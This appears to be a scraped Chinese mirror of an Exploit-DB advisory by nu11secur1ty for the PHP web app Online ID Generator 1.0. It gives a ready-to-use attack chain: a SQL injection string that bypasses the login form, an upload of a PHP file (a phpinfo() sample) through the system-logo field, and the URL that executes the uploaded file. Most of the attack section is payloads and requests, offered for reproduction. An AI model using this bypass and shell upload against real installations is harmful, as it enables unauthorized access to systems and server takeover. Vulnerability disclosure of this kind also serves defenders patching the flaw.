Online ID Generator 1.0 – Remote Code Execution (RCE) - 体验盒子

作者： nu11secur1ty

日期： 2023-10-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51728/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

## Title: Online ID Generator 1.0 - Remote Code Execution (RCE)

## Author: nu11secur1ty

## Date: 08/31/2023

## Vendor: https://www.youtube.com/watch?v=JdB9_po5DTc

## Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip

## Reference: https://portswigger.net/web-security/sql-injection

## Reference: https://portswigger.net/web-security/file-upload

## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

STATUS: HIGH-CRITICAL Vulnerability

[+]Bypass login SQLi:

# In login form, for user:

</code><code>mysql

nu11secur1ty' or 1=1#

</code><code>

[+]Shell Upload exploit:

## For system logo:

</code><code>php

<?php

phpinfo();

?>

</code><code>

[+]RCE Exploit

## Execution from the remote browser:

</code><code>URLhttp://localhost/id_generator/uploads/1693471560_info.php

</code><code>

## Reproduce:

[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-ID-Generator-1.0)

## Proof and Exploit:

[href](https://www.nu11secur1ty.com/2023/08/online-id-generator-10-sqli-bypass.html)

## Time spend:

00:10:00